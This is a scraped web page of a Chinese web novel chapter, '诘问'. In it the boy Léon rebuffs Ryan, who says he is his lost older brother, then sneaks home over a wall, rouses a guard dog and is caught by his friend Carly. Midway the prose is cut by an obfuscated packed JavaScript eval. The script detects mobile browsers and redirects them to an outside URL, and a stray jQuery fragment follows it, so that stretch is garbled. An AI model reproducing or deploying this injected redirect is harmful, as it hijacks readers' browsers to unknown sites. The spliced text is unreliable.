17.chapter.17 诘问

作品:《垂直心跳

    “这些年来,我一直在找你。”莱恩道,他的目光平和,声音里却是隐隐带着几分隐晦的期待。


    找他——?


    里昂垂在身侧的手稍稍一紧。


    “八年前,我失足跌落山崖,失去记忆,也落下了如今的病根。”莱恩看着他。“所幸的是,那时昏迷濒死的我被偷渡者捡到,一年之后,我记起了自己的名字,以及——关于母亲,父亲,还有你,里昂,我的弟弟存在的事情。”


    “自那天以来,我便一直在寻找你们。”他说着,面色逐渐柔和了下来。“虽然迟到了八年,但是终究,我还是将你找到了。”


    他阖上眼,像是在回忆些什么。


    “坠尘区与外界信息隔离,我未曾设想你会在那里。直到不久之前,我得到你被安德拉家族所收养的消息,才知晓你的下落。”


    “为了尽早见到你,我们不得不用上一些手段。”


    “抱歉。”莱恩的声音低落下来,他的面上浮现出肉眼可见的歉意。“是哥哥来晚了。”


    哥哥——


    里昂瞳孔微缩,他猛地撑着桌子站起身来,神情微暗,死死地咬着下唇。


    “……别和我套近乎。”他的声音带着些许动摇,面上终于不复先前的平静,缓缓别过面去。“我从未听母亲提起过你,也不知道你的存在——”


    他的视线却按捺不住地再度落到莱恩那张绝无作假可能性的面庞之上。


    “莱恩.阿特拉斯。”他低声道。“你来的太晚了。”


    莱恩一怔,他注意到里昂撑着桌面的手缓缓收紧,骨节用力到泛白。


    太晚了。


    莱恩的神情稍稍一动,他正欲再开口说些什么,却是听到里昂隐隐压着怒意的声音。


    “……母亲和我在坠尘区生活的时候,你在哪里?”


    “我在坠尘区争夺食物的时候,你在哪里?”


    “母亲离世的时候,你又在哪里?”


    他每说一句,莱恩的面上便白上一分。


    “现在我好不容易从那里离开,你告诉我,一个来历不明的病秧子首领是我的哥哥?”


    他的声音并不算大,稚嫩的嗓音时刻带着一股隐忍一般的克制,然而落在莱恩的耳朵里,却像是惊雷一般炸响着。


    “里昂……”莱恩的话只来得及开了个头,他却是突然俯下身来捂着嘴剧烈的咳嗽起来,里昂面色稍稍一动,他的面容僵硬,嘴唇抿成一条直线,却终究是按耐不住地朝着莱恩所在的方向看了过去。


    这一次,莱恩的咳嗽许久都未能停下,里头的动静惊动了外头的苏珊,她二话不说撩开门帘便冲了进来,见到冷漠地站在一侧的里昂,与扶在桌面上咳嗽不止的莱恩,当即便冲上前去扶住了对方,她先是小心翼翼地扶着莱恩,顺服地拍着对方剧烈抖动的背部顺气,一边抬眼狠瞪了里昂一眼。


    “里昂.怀特索恩!”她的语气上扬。“你根本不知道,他为了找你——”


    “苏珊!”


    莱恩却是猛然抬起头来,如瀑般垂落的银色长发之下,他灰色的眸底竟是透出些许戾气来。


    “里昂,他还是个孩子。”


    苏珊被他这一眼看的发怵,却是僵立在原地,半晌都未能再将话语接下去。


    孩子——?


    可是,你也才只有十四岁。


    她想道。


    里昂未曾说话,他从苏珊未尽的话语中能读出莱恩可能正隐瞒着他些许事情——但是,他并没有心力去探究背后的真相,只是略显瑟缩地紧了紧手心,尽力将自己的存在感缩小。


    杂乱的思绪充斥在他的脑海中——在失去母亲的那一日,他本以为自己将会永远孤独下去,这世间再无一人值得信任与依靠,却从未想过有一日,素未谋面的兄长会以这般姿态闯入他的生活之中。


    莱恩并未继续强求于他留下来。


    “我并不强求于你加入破镐会与我一起生活,如若你想要继续持续在安德拉家族的生活,我也会支持你。”他说。“只是,请你记住,当你遇到危险的时候,破镐会永远是你的后盾。”


    ##


    里昂回到安德拉家族门口的时候,已然超过夜晚十一点了。


    激荡的钟声在高位区悠扬的上空回荡着,漆黑蒙昧的夜空之下,他在寂绞星藤编织的路面上奔袭。


    夜晚的凉意凝成稀薄的雾气,肺腑间灌入潮湿的冷意。


    远远地,他看见卡莉和妮娜的羊车停靠在家族的门外,妮娜站在车门的一侧,她缓缓撩起门帘的一角,从里头隐隐伸出一只稚嫩的手——


    是卡莉。


    没由来地,里昂的脚步慢了下来,他撑着双腿喘着粗气,眼底未能赶上的惊慌被强行压在眼底。


    高估了自己的体力。


    ——他到底还是没能赶上。


    怎么办——?


    决不能让卡莉和妮娜发现自己深夜独自外出的事情。


    想办法翻墙——?他抬头看向一侧安德拉家族高耸的围墙,手无意识地触摸到离开之前事先收在口袋中的绳索。


    必须要快。


    赶在卡莉和妮娜进入门内之前,翻进去!


    尽管围栏的高度看起来绝非他的体形所能够到的高度,但是这一切对于时常在坠尘区危险栈道上攀爬的里昂而言并不算太难的事情,他微微向后退了一步,绳结灵巧的在他的手中打了一个圈,旋即在用力的抛掷下成功挂在了内院高耸的树枝上。


    他没有再犹豫,在拉紧绳索确信牢固之后,便三两并作一下翻跃了过去——此刻,卡莉和妮娜尚未完全进入铁门,利用一旁草垛的遮掩,从后门绕回房间是合理且可行的。


    他的脑海中飞快地演算着这一切,手中的绳索缓慢地放松下来,待到他成功地回收绳索,顺着树干下滑之时——却突如其来地对上了黑夜中一双发亮的眼睛。


    是此前他为获取钥匙欺骗妮娜而曾经用木棒敲打过的狼狗。


    里昂的思维顿时一片空白,他的脑中只余下两个大写的字。


    完了。


    下一秒,疯狂的狗吠便响彻了整座院子。


    “汪汪汪汪汪!”


    “汪汪汪汪汪!”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210621|197145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “快闭嘴——!你这蠢狗!”里昂暗骂一声,他急中生智将身上的斗篷脱下便打算不顾危险盖住那傻狗——尽管事后他也觉得自己这一举动实在过于不过脑子。却仍绝望地抬眼望向四周——伴随着狗吠声不断地响起,安德拉家族的府邸里陆续亮起了灯盏,而距离铁门最为接近的地方,卡莉已然朝着这边看了过来。


    远远地,宛若蒙上一层蓝布的黑夜之中,卡莉同正拉开斗篷准备盖住狗的里昂对上了眼。


    里昂整个人都宛若被按下了暂停键一般呆在了原地,他的一只脚正抬起僵硬在半空之中,像是一个滑稽的小丑。


    “里昂,你在干什么?”


    卡莉眨了眨眼睛。


    一时间,里昂未能动弹。


    卡莉歪了歪头,她的视线落在小伙伴滑稽的动作上,又移回他难得的呆滞的,僵硬的表情上。


    “喂喂——?”她伸出手在他面前晃了晃,直到男孩缓慢地将抬起的脚放了下来,她仍旧保持着一副打招呼的姿势。“哈喽,这里是卡莉,里昂,你听得见吗?”


    “……听得见。”


    长久地沉默过后,黑暗之中,她终于听见少年开口了。


    里昂微微侧过脸,他白皙的面庞被宅邸内昏黄的光线照亮,整个人却是反常地安静。


    “卡莉。”他顿了顿。“你回来了——?”


    “嗯。”卡莉点了点头,她在里昂的跟前欢乐地转了一圈,才兴奋地问他。“妮娜帮我选的新礼服,好看吗?”


    里昂微微一怔,他像是完全没有想到卡莉会把话题转移到这样一件事上,也正因为如此,他才终于第一次将目光落在此刻的卡莉身上。


    她穿着一身深蓝色的礼裙,金色的丝缕点缀其上,像是镶嵌着点点金边。


    ——深蓝色。


    像是她的眼睛一样,仿佛大海一般。


    同样地,他不自觉地将视线上移,与那双充满着期待的眼睛对视。


    仅仅只是片刻的安静。


    “很漂亮。”他认真地说。


    “真的!?”卡莉像是被发了糖果的孩子一般兴奋,她的嘴角压都压不下去。“我就说这件礼服肯定好看,艾德还说我穿成这样一点也不好看,他真是一点也没有眼光!”


    “艾德……?”听她再度提起艾德里安,里昂一怔。


    “啊,忘记和你说了,我和艾德和好了。”卡莉调皮地吐了吐舌头,她毫不在意地笑了笑。“今天去参加的晚会艾德也参加了。艾德他就是这样,总是在情绪上头的时候喜欢说点极端的话,其实他只是太珍视我们之间的友谊了,他那人就是这样,如果一直不理他的话,他会很可怜的。”


    她点着手指,却像是打开了话匣子一般开始源源不断地讲起了先前在宴会上发生的事情。


    “今天我又遇到了布莱兹男爵,里昂你不知道,他今天又跳了一遍那个舞蹈——”


    “卡莉。”里昂却是突然出声打断了她,似是受到某种无名的冲动指引一般,他紧了紧手心,抬眼看向她。


    “你不问我,刚才去干什么了吗?”